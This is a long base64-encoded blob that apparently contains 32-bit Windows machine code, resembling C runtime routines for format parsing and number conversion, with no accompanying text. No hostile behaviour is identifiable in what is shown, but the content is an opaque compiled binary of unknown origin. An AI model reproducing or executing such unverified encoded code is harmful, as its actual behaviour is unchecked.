+/90Ff91DA+2y2oIUeh/z///g8QMhcB13IvDW13Di/9Vi+xWi00I6FwuAAAPt/C4//8AAGY78HQOaghW6A6RAABZWYXAdd1mi8ZeXcOL/1WL7INBbASLQWyLUPyF0nUU6MpeAADHABYAAADoiFsAADLA6wyLRQj/QXCLAIkCsAFdwgQAi/9Vi+yDQVQEi0FUi1D8hdJ1FOiTXgAAxwAWAAAA6FFbAAAywOsMi0UI/0FYiwCJArABXcIEAIv/VYvsg0FsBItBbItQ/IXSdRToXF4AAMcAFgAAAOgaWwAAMsDrEv9BcItNCIsBiQKLQQSJQgSwAV3CBACL/1WL7INBVASLQVSLUPyF0nUU6B9eAADHABYAAADo3VoAADLA6xL/QViLTQiLAYkCi0EEiUIEsAFdwgQAi/9Vi+yLRQiL0VMz21eJAo16LItFDIlCBItFEGoIiUIIM8BZiVoM86tfiVoQi8JmiVoUiFoWiVoYiVociVogiFokiVooW13CDACL/1WL7ItFCDPSiQGLRQyJQQSLRRCJQQgzwIlRDIlRNIlBFIvBiVEQiFEYiVEgiVEkiVEoiFEsiVEwXcIMAIv/VYvsi0UIg2EQAINhFACJAYtFDIlBCItFEIlBDItFFIlBGIXAdAPGAAGLwV3CEACL/1WL7ItVDItFEFNWi3UIi9lX/3UUiRONewiJQwSNSxilUFKlpegc////i0UYg2NwAINjdACJQ2iLRRxfiUNsi8NeW13CGACL/1WL7ItVDItFEFNWi3UIi9lX/3UUiRONewiJQwSNSxilUFKlpege////i0UYg2NYAINjXACJQ1CLRRxfiUNUi8NeW13CGACL/1aL8YtGBIsOD7YAUOiRPwAAi0YExgAAi0YIiw7/cAT/MOgKMwAAXsOL/1aL8YtGBIsOD7cAUOioPwAAi0YEM8lmiQiLRgiLDv9wBP8w6N4yAABew4v/U1aL8TPbOV4MdAcywOkJAQAAi0YIiV4QZoleFIheFoleGIleHIleIIheJIleKDgYdQnHRhABAAAA69APtgBQ6L5ZAABZhcB0JMdGEAIAAADrA/9GCItGCA+2AFDooVkAAFmFwHXssAHprgAAAItOCIA5JQ+FgAAAAI1BAYA4JXR4x0YQBAAAAIlGCIA4KnUIQMZGFgGJRgiLzugrNQAAhMAPhGT///+LzujnNwAAi87ohjoAAIvO6EMyAACEwA+ER////2tOKAyLRiA4nAEg4wsQdZKJXhBmiV4UiF4WiV4YiV4ciV4giF4kiV4ox0YMFgAAAOkS////x0YQAwAAAIoBiEYUM8CAOSVTD5TAQQPBi86JRgjoyzkAAF5bw4v/VovxM8k5Tgx0BDLAXsMzwIlOEIlGFItGCIhOGIlOIIlOJIlOKIhOLIlOMGY5CHUJx0YQAQAAAOvRD7cAaghQ6BWNAABZWYXAdCbHRhACAAAA6wSDRggCi0YIaggPtwBQ6PSMAABZWYXAdejpjAAAAItOCGolWmY5EXVkjUECZjkQdFyLzsdGEAQAAACJRgjoAjQAAIvO6K40AACEwA+EZ////4vO6Os3AACLzuiIOQAAi87okjIAAITAD4RK////a04wDItGKIC8ASDjCxAAdStqFovO6LUwAADpK////8dGEAMAAABmiwFmiUYUM8BmOREPlMBAjQRBiUYIsAFew4B5BAB0A4sBw2oAaJ8BAABoyOELEGgw4gsQaIziCxDo7lYAAMyAeQQAdQOLAcNqAGilAQAAaMjhCxBoqOILEGgE4wsQ6MlWAADMi/9Vi+yLTQyAeQQAdBLoo////1D/dQjon8v//1lZXcPotv///zPJOE0ID5XBweEfgckAAIB/iQhdw4v/VYvsg+wkU1aLdQwz21eLfQg783cWg///dxEPvceJXdx0BY1IAesUi8vrEA+9xold3I1IAXUCi8uDwSCLRRwz0opABITAiEX/D5TCM8BKg+Idg8IYK9GLTRAryolV9DhF/4lN+A+UwEglgAMAAIPAf4lF8DvIfhX/dRz/dRToQv///1lZagNY6bcCAAAzwDhF/w+UwEglgPz//4PAgjvID401AQAAi0XwSAPBi03wA8L32YlF7IlN+IXAD4kSAQAA99iJRfCD+EAPg/AAAACNSP8z0jPAQOh6CgEAi03wiUXog8D/iUXgi8KD0P+JVeSJRdwz0jPAQOhZCgEAI8fGRf0BI9YLwnUDiF39i0Xoi03kI8cjzgvBsQF1AorLiE3/OF0YdBCLReCLVdwjxyPWC8KKw3QCsAGIRf6EyXUEhMB0Nei9iwAAhcB0Gz0AAQAAdAw9AAIAAHUeil0U6xk4XRQPlMPrEThd/3QMOF3+dQU4Xf10ArMBi03wi8eL1ujyCQEAi/iL8g+2w5kD+IvHE/ILxnQpi00c6BgiAAA78g+CXQEAAHcIO/gPhlMBAACLXRArXewrXfRL6UcBAAD/dRz/dRToDwMAAFlZagLptP7//4tN7OkbAQAAhdIPiQ4BAAD32olV9IP6QHIJi/uL8+nBAAAAM8CNSv9AM9LoUwkBAItN9IlF3IPA/4lF5IvCg9D/iVXgiUXoM9IzwEDoMgkBACPHxkX/ASPWC8J1A4hd/4tF3ItN4CPHI84LwbEBdQKKy4hN/ThdGHQQi0Xki1XoI8cj1gvCisN0ArABiEX+hMl1BITAdDXolooAAIXAdBs9AAEAAHQMPQACAAB1HopdFOsZOF0UD5TD6xE4Xf10DDhd/nUFOF3/dAKzAYtN9IvHi9boywgBAIv4i/IPtsOZA/gT8otNHOjDJwAAO/JyQHcEO/h2OotNHDPAi134D6z3AdHuQzhBBA+UwEglgAMAAIPAfzvYfhtR6Yr9//9+EItN9IvWi8foVwgBAIvyi/iLXfiLTRzoqCAAACP4I/KLRRyLyIB4BAB0E+hZ/P//UFZXU/91FOhEyf//6xHoa/z//1BWV1P/dRToAcn//4PEFF9eW4vlXcOL/1WL7IPsHDPSU4tdGFZXi30MOFMED5TCSoPiHYPCF4P/QHc5i00IgzkAdgWLcQTrAjP2gzkBdgWLSQjrAjPJgH0UAFMPlMAPtsBQ/3UQM8ADxlKD0QBRUOkhAQAAi8fB7wWD4B+JReSNd/6FwHVRi87B4QUDyotVCIsUuot9CANEtwSJReyD0gCAfRQAiVX0D5TCiFXwhfZ0GYPHBIM/AI1/BA+UwCLQg+4BdfCLReyIVfBT/3Xw/3UQUf919OuXM9uJdfzBZfwFi8gBRfxDAVX8iV3402X4/034akBZK8iLRQiJTeiDweCLVLAEiwS4iVXsM9LoEAcBAItN6IlF9ItFCIlV8DPSi0S4BIt9+CPH6PQGAQABRfSLx4tN5PfQEVXwM9IjRezo/QYBAItN9APIi0XwiU30E8KAfRQAiUXwdQWFfex0AjLbiF34hfZ0H4tNCIPBBIM5AI1JBA+UwCLYiF34g+4Bde2LTfSLRfD/dRj/dfj/dRD/dfxQUegw+///g8QYX15bi+Vdw4v/VYvsi00MgHkEAHQS6I/6//9Q/3UI6NzH//9ZWV3D6KL6//8zyThNCA+VwcHhH4kIXcOL/1WL7IHsLAsAAKEU8BEQM8WJRfyLTQwzwFNWVzhBBIt9CA+UwIm9sPb//0iJjaj2//+D4B2LH4PAGYmFrPb//4XbeQIz24tHBIvLO9hyAovIg8AIjVcIA8cD0YmFxPb//yvZK8KJncz2//+DxwiJheD2//8zwImV1Pb//zP2iYXo9v//M8mJhSz+//+JteT2//+Jvdz2//87+nUNi9jpawYAAIuF6Pb//4P5CQ+FNwEAAIXAD4STAAAAi53o9v//M8kz9r8Aypo7i4S1MP7///fnA8GJhLUw/v//g9IARovKO/N15Iu93Pb//4uFLP7//4XJdEyD+HNzFomMhTD+//+LhSz+//9AiYUs/v//6zGDpbz4//8AjYXA+P//g6Us/v//AGoAUI2FMP7//2jMAQAAUOi6OQAAi4Us/v//g8QQi7Xk9v//iYXo9v//hfYPhIIAAAAz0oXAdB4zwAG0lTD+//8TwEKL8IuFLP7//4mF6Pb//zvQdeKF9nRag/hzcxyJtIUw/v//i50s/v//Q4md6Pb//4mdLP7//+s/g6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDoLDkAAIudLP7//4PEEImd6Pb//+sGi53o9v//i5XU9v//M/YzyesGi53o9v//D7YHa/YKA/BBR4m15Pb//4m93Pb//zv6D4WW/v//hckPhPMEAACLwTPSagpZ9/GJhcj2//+LyomNuPb//4XAD4R/AwAAg/gmdgNqJlgPtgyFBuELEA+2NIUH4QsQi/mJhdD2///B5wJXjQQxiYW8+P//jYXA+P//agBQ6Blp//+LxsHgAlCLhdD2//8PtwSFBOELEI0EhQDYCxBQjYXA+P//A8dQ6O9u//+Lhbz4//8zyUGDxBg7wQ+HswAAAIu1wPj//4X2dRozwImF7Pb//4mFLP7//1CNhfD2///pnQIAADvxdQeKwem1AgAAhdt09TPJM/+LxvekvTD+//8DwYmEvTD+//+D0gBHi8o7+3Xkhcl0T4uFLP7//4P4c3MWiYyFMP7//4udLP7//0OJnSz+///rNDPbjYXA+P//iZ28+P//U1CNhTD+//+JnSz+//9ozAEAAFDopjcAAIrD6S8CAACLnSz+//+wAekrAgAAO9kPh44AAACLvTD+//+7zAEAAImFLP7//8HgAlCNhcD4//9QjYUw/v//U1DoYTcAAIPEEDPAhf91GlCJhbz4//+JhSz+//+NhcD4//9QU+nAAQAAi50s/v//QImd6Pb//zv4D4TIAQAAhdsPhMABAAAzyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15OkK////O8ONtcD4//8PksGEyXUgjbUw/v//jZXA+P//iZXc9v//hMl0EovQiZXo9v//6xCNlTD+///r5IvTiZ3o9v//hMl1AovYM8kz/4mNXPz//4XSD4QPAQAAjYVg/P//K/CJtbT2//+NBL6LhAVg/P//iYWk9v//hcB1HTv5D4XcAAAAIYS9YPz//41PAYmNXPz//+nHAAAAM9IzwImV2Pb//4v3iYW89v//hdsPhJgAAACD/nN0WzvxdReDpLVg/P//AEADx4mFXPz//4uFvPb//4uN3Pb//4sEgfelpPb//wOF2Pb//4PSAAGEtWD8//+Lhbz2//+LjVz8//+D0gBAiZXY9v//RomFvPb//zvDdaCF0nQ0g/5zD4TsAAAAO/F1EYOktWD8//8AjUYBiYVc/P//i8Iz0gGEtWD8//+LjVz8//8T0kbryIP+cw+EuAAAAIuV6Pb//4u1tPb//0c7+g+F//7//4vBiY0s/v//weACUI2FYPz//1BozAEAAI2FMP7//1DocjUAALABi50s/v//g8QQiZ3o9v//hMB0MYuFyPb//yuF0Pb//4mFyPb//w+Fh/z//4uNuPb//4XJD4S3AAAAizyNnOELEIX/dUyDpbz4//8AjYXA+P//g6Us/v//AGoAUI2FMP7//2jMAQAAUOgENQAAi4Us/v//g8QQiYXo9v//63kz242F8Pb//4md7Pb//+kh/f//i4Xo9v//g/8BdFuFwHRXM8mL2DP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IuFLP7//4XJdKqD+HMPg3D///+JjIUw/v//i4Us/v//QImF6Pb//4mFLP7//+sGi4Xo9v//i5Xk9v//hdIPhIIAAAAzyYXAdB6LwjPSAYSNMP7//4uFLP7//xPSiYXo9v//QTvIdeKF0nRag/hzcxyJlIUw/v//i50s/v//Q4md6Pb//4mdLP7//+s/g6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDo+zMAAIudLP7//4PEEImd6Pb//+sGi53o9v//i4XM9v//hcAPhBMEAABqCjPSWffxiYXY9v//i8qJjbj2//+FwA+ErQMAAIP4JnYDaiZYD7YMhQbhCxAPtjSFB+ELEIv5iYW89v//wecCV40EMYmFvPj//42FwPj//2oAUOgUZP//i8bB4AJQi4W89v//D7cEhQThCxCNBIUA2AsQUI2FwPj//wPHUOjqaf//i4W8+P//M8lBg8QYO8EPh5QAAACLvcD4//+F/3VDM8BQiYXs9v//iYUs/v//jYXw9v//UGjMAQAAjYUw/v//UOgPMwAAg8QQi50s/v//sAGJnej2//+Lnej2///pwQIAADv5dQSKwevthdt0+DPJM/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o783Xk6acAAACJjIUw/v//i50s/v//Q4mdLP7//+umO9kPh9cAAACLvTD+//+7zAEAAImFLP7//8HgAlCNhcD4//9QjYUw/v//U1DoezIAAIPEEDPAhf91GlCJhbz4//+JhSz+//+NhcD4//9QU+k9////i50s/v//QImd6Pb//zv4D4RF////hdsPhD3///8zyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IXJD4QH////i4Us/v//g/hzD4JC////M9uNhcD4//9TUI2FMP7//4mdvPj//2jMAQAAUImdLP7//+jdMQAAisODxBCLnSz+///pyf7//zvDjZXA+P//D5LBhMl1Bo2VMP7//4mV5Pb//42VMP7//4TJdQaNlcD4//+Jlcj2//+EyXQKi/iJvdz2///rCIv7iZ3c9v//hMl1AovYM9Iz9omVXPz//4X/D4QHAQAAi4Xk9v//jY1g/P//K8GJheT2//+NBLCLhAVg/P//iYXM9v//hcB1HTvyD4XIAAAAIYS1YPz//41WAYmVXPz//+mzAAAAM8Az/4mF0Pb//4vOhdsPhJAAAACD+XN0UzvKdReDpI1g/P//AEADxomFXPz//4uF0Pb//4uVyPb//4sEgvelzPb//wPHg9IAAYSNYPz//4uF0Pb//4PSAEBBiYXQ9v//i/qLlVz8//87w3Wohf90NIP5cw+E/AAAADvKdRGDpI1g/P//AI1BAYmFXPz//4vHM/8BhI1g/P//i5Vc/P//E/9B68iD+XMPhMgAAACLvdz2//+LheT2//9GO/cPhQ3///+LwomV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RovKO/N15IXJD4SOAAAAi4WM+v//g/hzc1mJjIWQ+v//i52M+v//Q4mdjPr//+tzM8BQiYXs9v//iYWM+v//jYXw9v//UI2FkPr//2jMAQAAUOgEKQAAg8QQMsDpLP///4OlvPj//wCDpYz6//8AagDrDzPAUImFjPr//4mFvPj//42FwPj//1CNhZD6//9ozAEAAFDowSgAAIPEEIudjPr//4md5Pb//4uV3Pb//4XSdHozyYXbdB6LwjPSAYSNkPr//4udjPr//xPSiZ3k9v//QTvLdeKF0nRSg/tzcxaJlJ2Q+v//i52M+v//Q4mdjPr//+sxg6W8+P//AI2FwPj//4OljPr//wBqAFCNhZD6//9ozAEAAFDoPSgAAIudjPr//4PEEImd5Pb//4uF4Pb//4uNsPb//4M5AH0CKwFqCjPSg6Vk/P//AF739jPJQYmVtPb//4mNYPz//4mN4Pb//4mNXPz//4mFyPb//4XAD4TaAwAAg/gmdgNqJlgPtgyFBuELEA+2NIUH4QsQi/mJhdD2///B5wJXjQQxiYW8+P//jYXA+P//agBQ6D9Y//+LxsHgAlCLhdD2//8PtwSFBOELEI0EhQDYCxBQjYXA+P//A8dQ6BVe//+Lhbz4//8z0kKDxBg7wg+HoQAAAIO9wPj//wB1QzPAUImF7Pb//4mFXPz//42F8Pb//1BozAEAAI2FYPz//1DoOycAAIPEEIuNXPz//7ABiY3g9v//i43g9v//6e8CAAA5lcD4//91BIrC6+mLjeD2//+FyXTyM/Yz/4uFwPj///ekvWD8//8DxomEvWD8//+D0gBHi/I7+XXg6b8AAACJtIVg/P//i41c/P//QYmNXPz//+uYi43g9v//O8oPh+kAAACLtWD8//+/zAEAAImFXPz//8HgAlCNhcD4//+Jtcz2//9QjYVg/P//V1DojSYAAIPEEDPAhfZ1GlCJhbz4//+JhVz8//+NhcD4//9QV+kj////i41c/P//QImN4Pb//zvwD4Qr////hckPhCP///+Lncz2//8z9jP/i8P3pL1g/P//A8aJhL1g/P//g9IAR4vyO/l15Iud5Pb//4X2D4Th/v//i4Vc/P//g/hzD4Iq////M8BQiYW8+P//iYVc/P//jYXA+P//UI2FYPz//2jMAQAAUOjjJQAAi41c/P//g8QQMsDpo/7//zvBjbXA+P//D5LChNJ1eY21YPz//429wPj//4m9xPb//4mF2Pb//4TSdQiJjdj2//+LyDPSM/+Jlez2//85ldj2//8PhCUBAACNhfD2//8r8Im1uPb//40EvouEBfD2//+Jhcz2//+FwHUlO/oPhe4AAAAhhL3w9v//jVcBiZXs9v//6dkAAACNvWD8///ri4Ol1Pb//wAzwImF3Pb//4v3hckPhKkAAACD/nN0WzvydReDpLXw9v//AEADx4mF7Pb//4uF3Pb//4uVxPb//4sEgvelzPb//wOF1Pb//4PSAAGEtfD2//+Lhdz2//+D0gBARomV1Pb//4uV7Pb//4mF3Pb//zvBdaCDvdT2//8AdECD/nMPhAABAAA78nURg6S18Pb//wCNRgGJhez2//+LhdT2//8z0gGEtfD2//8T0kaJldT2//+F0ouV7Pb//3XAg/5zD4TAAAAAi7W49v//Rzu92Pb//w+F6f7//4vCiZVc/P//weACUI2F8Pb//1CNhWD8//9ozAEAAFDoQSQAAIPEELABi41c/P//iY3g9v//hMAPhKEAAACLhcj2//8rhdD2//+Jhcj2//8PhSz8//+LlbT2//+F0g+EPQEAAIsElZzhCxCJhcz2//+FwHV8UImF1PT//4mFXPz//42F2PT//1CNhWD8//9ozAEAAFDozCMAAIPEEIuNXPz//4mN4Pb//+n5AAAAM8BQiYXU9P//iYVc/P//jYXY9P//UI2FYPz//2jMAQAAUOiRIwAAg8QQMsDpS////4Ol1PT//wCDpVz8//8AagDrc4P4AQ+EpwAAAIXJD4SfAAAAM/8z9vektWD8//8Dx4mEtWD8//+Lhcz2//+D0gBGi/o78XXghf8PhG////+LhVz8//+D+HNzHIm8hWD8//+LjVz8//9BiY3g9v//iY1c/P//61IzwImF1PT//4mFXPz//1CNhdj0//9QjYVg/P//aMwBAABQ6OoiAACLhbD2//+DxBD/taj2//8PtoAIAwAAUOin5///WVlqAunw8///i43g9v//hdt1BDP26yCLhJ2M+v//g6XM9v//AA+9wHQDQOsCM8CNc//B5gUD8IXJdQQz0usgi4SNXPz//4OlzPb//wAPvcB0A0DrAjPAjVH/weIFA9CLwivGO/Jq/xv2I/CJtdT2//9fD4atAQAAi4XU9v//M9KD4B/B7gVqIFkryImFyPb//zPAibXc9v//QImNuPb//+h/7QAAi4ydjPr//0gPvcmJhbT2///30ImFzPb//3QDQesCM8lqIFgrwY0UHjmFyPb//4mV0Pb//w+XwIP6c4iFw/b//w+XwYP6c3UIhMB0BLAB6wIywITJD4XqAAAAhMAPheIAAACD+nJyCWpyWomV0Pb//4vKiY3Y9v//O9cPhI8AAACLhdz2//+L8ivwjZWQ+v//jRSyO8hybDvzcwSLAusCM8CJhcT2//+NRv87w3MFi0L86wIzwCOFzPb//4PqBIuNuPb//4udxPb//yOdtPb//9Poi43I9v//0+OLjdj2//8Lw4mEjZD6//9JTomN2Pb//zvPdA6LnYz6//+Lhdz2///rkIuV0Pb//4u13Pb//4X2dA8zwI29kPr//4vO86uDz/+AvcP2//8AjVoBi43g9v//i7XU9v//dQKL2omdjPr//+s8M8BQiYXU9P//iYWM+v//jYXY9P//UI2FkPr//2jMAQAAUOi+IAAAi52M+v//g8QQi43g9v//i7XU9v//i5Ws9v//i4W89v//K9CJlaz2//+FwHQri8I78HYh/7Wo9v//i4Ww9v//agEPtoAIAwAAUP+1vPb//+kaAwAAi9Ar1jvZdzlyMI1L/zvPdDCLhI2Q+v//O4SNYPz//3UFSTvPdes7z3QXi4SNkPr//zuEjWD8//93B0aJtdT2//+L8jPAg+Ifwe4FaiBZK8qJlcj2//9AibXc9v//M9KJjbj2///oVusAAIuMnYz6//9ID73JiYW09v//99CJhcz2//90BY1BAesCM8BqIFkryI0UHjmNyPb//4mV0Pb//w+XwIP6c4iFw/b//w+XwYP6c3UIhMB0BLAB6wIywITJD4XkAAAAhMAPhdwAAACD+nJyCWpyWomV0Pb//4vKiY3Y9v//O9cPhI8AAACLhdz2//+L8ivwjZWQ+v//jRSyO8hybDvzcwSLAusCM8CJhcT2//+NRv87w3MFi0L86wIzwCOFzPb//4PqBIuNuPb//4udxPb//yOdtPb//9Poi43I9v//0+OLjdj2//8Lw4mEjZD6//9JTomN2Pb//zvPdA6LnYz6//+Lhdz2///rkIuV0Pb//4u13Pb//4X2dA8zwI29kPr//4vO86uDz/+AvcP2//8AdAuNQgGJ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